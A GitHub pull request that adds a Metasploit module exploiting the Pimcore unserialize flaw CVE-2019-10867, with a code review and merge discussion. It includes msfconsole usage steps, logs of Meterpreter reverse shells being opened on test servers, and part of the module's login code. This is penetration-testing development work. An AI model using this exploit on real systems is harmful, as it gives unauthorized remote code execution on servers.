Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Pimcore from 4.0.0 to 5.6.6 Unserialize RCE (CVE-2019-10867) #11697

Merged
merged 5 commits into from
Apr 29, 2019

Conversation

fabiocogno
Copy link
Contributor

@fabiocogno fabiocogno commented Apr 7, 2019

This module exploits a PHP unserialize() in Pimcore before 5.7.1 to execute arbitrary code. An authenticated user with "classes" permission could exploit the vulnerability.

The vulnerability exists in the "ClassController.php" class, where the "bulk-commit" method make it possible to exploit the unserialize function when passing untrusted values in "data" parameter.

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10867
pimcore/pimcore@38a29e2
https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-173998

This module has been tested successfully on Pimcore 5.6.6, 5.6.5, 5.6.4, 5.6.3, 5.6.2, 5.6.1, 5.6.0, 5.5.4, 5.5.3, 5.5.2, 5.5.1, 5.4.4, 5.4.3, 5.4.2, 5.4.1, 5.4.0 with the Symfony unserialize payload and on Pimcore 4.6.5, 4.6.4, 4.6.3, 4.6.2, 4.6.1, 4.6.0, 4.5.0, 4.4.3, 4.4.2, 4.4.1, 4.4.0, 4.3.1, 4.3.0, 4.2.0, 4.1.3, 4.1.2, 4.1.1, 4.1.0, 4.0.1, 4.0.0 with the Zend unserialize payload.

Verification

The steps needed to make sure this thing works:

  • Setting up a working installation of Pimcore 4.x or 5.x
  • Start msfconsole
  • use exploit/multi/http/pimcore_unserialize_rce
  • set RHOST <IP>
  • set USERNAME <USERNAME>
  • set PASSWORD <PASSWORD>
  • check
  • You should see The target service is running, but could not be validated.
  • exploit
  • You should get a meterpreter session!

Scenario

Pimcore 5.x

msf5 > use exploit/multi/http/pimcore_unserialize_rce 
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rhost target.com
rhost => target.com
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rport 8566
rport => 8566
msf5 exploit(multi/http/pimcore_unserialize_rce) > set username admin
username => admin
msf5 exploit(multi/http/pimcore_unserialize_rce) > set password pimcore
password => pimcore
msf5 exploit(multi/http/pimcore_unserialize_rce) > check
[*] 192.168.2.59:8566 - The target service is running, but could not be validated.
msf5 exploit(multi/http/pimcore_unserialize_rce) > exploit

[*] Started reverse TCP handler on 10.0.8.2:4444 
[+] Authentication successful: admin:pimcore
[*] Pimcore version: 5.6.6
[*] Pimcore build: 9722d19576f9e49969d4a3708e045fa481eaad02
[+] The target is vulnerable!
[+] JSON paylod uploaded successful: /var/www/html/var/tmp/bulk-import.tmp
[*] Selected payload: Pimcore 5.x (Symfony unserialize payload)
[*] Sending stage (38247 bytes) to 192.168.2.59
[*] Meterpreter session 1 opened (10.0.8.2:4444 -> 192.168.2.59:34128) at 2019-04-07 12:04:08 +0200
[!] This exploit may require manual cleanup of '/var/www/html/var/tmp/bulk-import.tmp' on the target

meterpreter > 
[+] Deleted /var/www/html/var/tmp/bulk-import.tmp

meterpreter > getuid
Server username: www-data (33)
meterpreter > quit
[*] Shutting down Meterpreter...

[*] 192.168.2.59 - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/http/pimcore_unserialize_rce) > 

Pimcore 4.x

msf5 > use exploit/multi/http/pimcore_unserialize_rce 
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rhost target.com
rhost => target.com
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rport 8465
rport => 8465
msf5 exploit(multi/http/pimcore_unserialize_rce) > set username admin
username => admin
msf5 exploit(multi/http/pimcore_unserialize_rce) > set password P1mc0r3_4dm1n
password => P1mc0r3_4dm1n
msf5 exploit(multi/http/pimcore_unserialize_rce) > check
[*] 192.168.2.59:8465 - The target service is running, but could not be validated.
msf5 exploit(multi/http/pimcore_unserialize_rce) > exploit

[*] Started reverse TCP handler on 10.0.8.2:4444 
[+] Authentication successful: admin:P1mc0r3_4dm1n
[*] Pimcore version: 4.6.5
[*] Pimcore build: 4123
[+] The target is vulnerable!
[+] JSON paylod uploaded successful: /var/www/html/website/var/system/bulk-import.tmp
[*] Selected payload: Pimcore 4.x (Zend unserialize payload)
[*] Sending stage (38247 bytes) to 192.168.2.59
[*] Meterpreter session 1 opened (10.0.8.2:4444 -> 192.168.2.59:57882) at 2019-04-07 12:00:20 +0200
[+] Deleted /var/www/html/website/var/system/bulk-import.tmp

meterpreter > getuid
Server username: www-data (33)
meterpreter > quit
[*] Shutting down Meterpreter...

[*] 192.168.2.59 - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/http/pimcore_unserialize_rce) > 

Testing

  1. Setting up a working installation of Pimcore 4.x or 5.x
  2. Start msfconsole
  3. use exploit/multi/http/pimcore_unserialize_rce
  4. set RHOST <IP>
  5. set USERNAME <USERNAME>
  6. set PASSWORD <PASSWORD>
  7. check
  8. You should see The target service is running, but could not be validated.
  9. exploit
  10. You should get a meterpreter session!

@fabiocogno
Copy link
Contributor Author

Hi @bcoles, what other documentation do you need in addition to that already shared?

@jrobles-r7 jrobles-r7 added docs and removed needs-docs labels Apr 8, 2019
@space-r7 space-r7 self-assigned this Apr 16, 2019
)
end

def login
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri),
'cookie' => res.get_cookies
)
if res && res.code == 200
# Pimcore 5.x
# Tested on 5.6.6, 5.6.5, 5.6.4, 5.6.3, 5.6.2, 5.6.1, 5.6.0, 5.5.4, 5.5.3, 5.5.2, 5.5.1, 5.4.4, 5.4.3, 5.4.2, 5.4.1, 5.4.0
unless res.body.scan(/"csrfToken": "[a-z0-9]+",/).empty?
datastore['csrfToken'] = res.body.scan(/"csrfToken": "([a-z0-9]+)",/).flatten.first.to_s
datastore['cookies'] = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+;)/).flatten[0] + ' pimcore_admin_sid=1;'
# Version
version = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[0]
build = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[1]
print_status("Pimcore version: #{version}")
print_status("Pimcore build: #{build}")
if Gem::Version.new(version) >= Gem::Version.new('5.0.0') && Gem::Version.new(version) <= Gem::Version.new('5.6.6')
print_good("The target is vulnerable!")
return targets[0]
else
return nil
end
end
# Pimcore 4.x
# Tested on 4.6.5, 4.6.4, 4.6.3, 4.6.2, 4.6.1, 4.6.0, 4.5.0, 4.4.3, 4.4.2, 4.4.1, 4.4.0, 4.3.1, 4.3.0, 4.2.0, 4.1.3, 4.1.2, 4.1.1, 4.1.0, 4.0.1, 4.0.0
unless res.body.scan(/csrfToken: "[a-z0-9]+",/).empty?
datastore['csrfToken'] = res.body.scan(/csrfToken: "([a-z0-9]+)",/).flatten.first.to_s
datastore['cookies'] = res.get_cookies.scan(/(pimcore_admin_sid=[a-z0-9]+;)/).flatten[0]
# Version
version = res.body.scan(/version: "([0-9]{1}\.[0-9]{1}\.[0-9]{1})",/i).flatten[0]
build = res.body.scan(/build: "([0-9]+)",/i).flatten[0]
print_status("Pimcore version: #{version}")
print_status("Pimcore build: #{build}")
if Gem::Version.new(version) >= Gem::Version.new('4.0.0') && Gem::Version.new(version) <= Gem::Version.new('4.6.5')
print_good("The target is vulnerable!")
return targets[1]
else
return nil
end
end
return nil

I'd suggest maybe placing all of the version-checking functionality in login() into a new function and utilizing that function in check(). It would both reduce the login() function and help check() better determine target exploitability.

Most of the code I'm referencing is linked above.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi space-r7! It is not possible to do what you suggest because:

  • to determine the version number you need to log in (so leave a trace on target; not recommended by the documentation of the check function).
  • determine the version number is necessary in order to complete the log in, save the right cookies and grab the CSRF Token.

We could simplify the login function with several small function such as: grab cookie, grab token, check version and set msf target. What do you think about it?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That makes sense! That sounds good to me! Thanks!

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I just created a PR on your branch for the remaining changes that I think would improve your module. Other than those small changes, this looks good to me. Thank you!

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you very much! I've merge your PR.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you!

@space-r7
Copy link
Contributor

Tested on v5.6.6:

msf5 > use exploit/multi/http/pimcore_unserialize_rce 
msf5 exploit(multi/http/pimcore_unserialize_rce) > set rhosts 192.168.37.181
rhosts => 192.168.37.181
msf5 exploit(multi/http/pimcore_unserialize_rce) > set username admin
username => admin
msf5 exploit(multi/http/pimcore_unserialize_rce) > set password password
password => password
msf5 exploit(multi/http/pimcore_unserialize_rce) > check
[*] 192.168.37.181:80 - The target service is running, but could not be validated.
msf5 exploit(multi/http/pimcore_unserialize_rce) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[+] Authentication successful: admin:password
[*] Pimcore version: 5.6.6
[*] Pimcore build: 9722d19576f9e49969d4a3708e045fa481eaad02
[+] The target is vulnerable!
[+] JSON payload uploaded successfully: /var/www/html/pimcore/var/tmp/bulk-import.tmp
[*] Selected payload: Pimcore 5.x (Symfony unserialize payload)
[*] Sending stage (38247 bytes) to 192.168.37.181
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.181:48582) at 2019-04-29 08:43:03 -0500
[!] This exploit may require manual cleanup of '/var/www/html/pimcore/var/tmp/bulk-import.tmp' on the target

meterpreter > 
[+] Deleted /var/www/html/pimcore/var/tmp/bulk-import.tmp

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64
Meterpreter : php/linux

@space-r7 space-r7 merged commit d60aa92 into rapid7:master Apr 29, 2019
space-r7 added a commit that referenced this pull request Apr 29, 2019
msjenkins-r7 pushed a commit that referenced this pull request Apr 29, 2019
@space-r7
Copy link
Contributor

space-r7 commented Apr 29, 2019

Release Notes

The multi/http/pimcore_unserialize_rce exploit module has been added to the framework. This module gains remote code execution by exploiting a PHP deserialization vulnerability in Pimcore post authentication for versions prior to 5.7.1.

@gdavidson-r7 gdavidson-r7 added the rn-modules release notes for new or majorly enhanced modules label May 14, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

7 participants